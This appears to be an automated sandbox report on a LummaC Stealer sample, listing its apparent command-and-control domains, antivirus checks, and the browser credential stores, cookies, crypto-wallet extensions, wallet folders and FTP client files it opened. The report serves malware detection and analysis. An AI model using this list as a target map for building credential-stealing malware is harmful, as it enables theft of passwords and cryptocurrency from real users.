Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: ZvHSpovhDw.exe, 00000000.00000002.2427158054.00000000002CC000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ZvHSpovhDw.exe, 00000000.00000003.2221392786.000000000537E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: iles%\Windows Defender\MsMpeng.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2208287113.000000000537E000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2282308745.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2204588573.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2204588573.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ZvHSpovhDw.exe PID: 3364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: ZvHSpovhDw.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ZvHSpovhDw.exe, 00000000.00000003.2282391627.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: ZvHSpovhDw.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: ZvHSpovhDw.exe, 00000000.00000003.2261610266.0000000000B15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"]

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
